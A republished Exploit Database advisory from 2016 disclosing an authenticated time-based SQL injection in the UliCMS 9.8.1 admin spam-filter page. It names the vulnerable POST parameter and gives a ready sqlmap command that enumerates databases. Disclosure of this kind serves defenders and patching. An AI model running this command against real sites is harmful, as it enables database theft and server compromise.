UliCMS v9.8.1 – SQL Injection

• Exploit Database
• 16 阅读

• 作者： Manuel García Cárdenas
  日期： 2016-02-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39413/

• =============================================
  MGC ALERT 2016-001
  - Original release date: January 26, 2016
  - Last revised:February 02, 2016
  - Discovered by: Manuel García Cárdenas
  - Severity: 7,1/10 (CVSS Base Score)
  =============================================
  
  I. VULNERABILITY
  -------------------------
  Time-based SQL Injection in Admin panel UliCMS <= v9.8.1
  
  II. BACKGROUND
  -------------------------
  UliCMS is a modern web content management solution from Germany, that
  attempts to make web content management more easier.
  
  III. DESCRIPTION
  -------------------------
  This bug was found using the portal with authentication as administrator.
  To exploit the vulnerability only is needed use the version 1.0 of the HTTP
  protocol to interact with the application.
  
  It is possible to inject SQL code in the variable "country_blacklist" on
  the page "action=spam_filter".
  
  IV. PROOF OF CONCEPT
  -------------------------
  The following URL's and parameters have been confirmed to all suffer from
  Time Based Blind SQL injection.
  
  /ulicms/admin/?action=spam_filter
  
  (POST)
  spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes
  
  POC using SQLMap:
  
  sqlmap -u "http://127.0.0.1/ulicms/admin/?action=spam_filter" --cookie="SET
  COOKIE HERE"
  --data="spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes"
  -p "country_blacklist" --dbms="mysql" --dbs
  
  V. BUSINESS IMPACT
  -------------------------
  Public defacement, confidential data leakage, and database server
  compromise can result from these attacks. Client systems can also be
  targeted, and complete compromise of these client systems is also possible.
  
  VI. SYSTEMS AFFECTED
  -------------------------
  UliCMS <= v9.8.1
  
  VII. SOLUTION
  -------------------------
  Install vendor patch.
  
  VIII. REFERENCES
  -------------------------
  http://en.ulicms.de/
  
  IX. CREDITS
  -------------------------
  This vulnerability has been discovered and reported
  by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
  
  X. REVISION HISTORY
  -------------------------
  January 26, 2016 1: Initial release
  February 02, 2015 2: Revision to send to lists
  
  XI. DISCLOSURE TIMELINE
  -------------------------
  January 26, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
  January 26, 2016 2: Send to vendor
  January 28, 2016 3: Vendor fix vulnerability
  February 02, 2016 4: Send to the Full-Disclosure lists
  
  XII. LEGAL NOTICES
  -------------------------
  The information contained within this advisory is supplied "as-is" with no
  warranties or guarantees of fitness of use or otherwise.
  
  XIII. ABOUT
  -------------------------
  Manuel Garcia Cardenas
  Pentester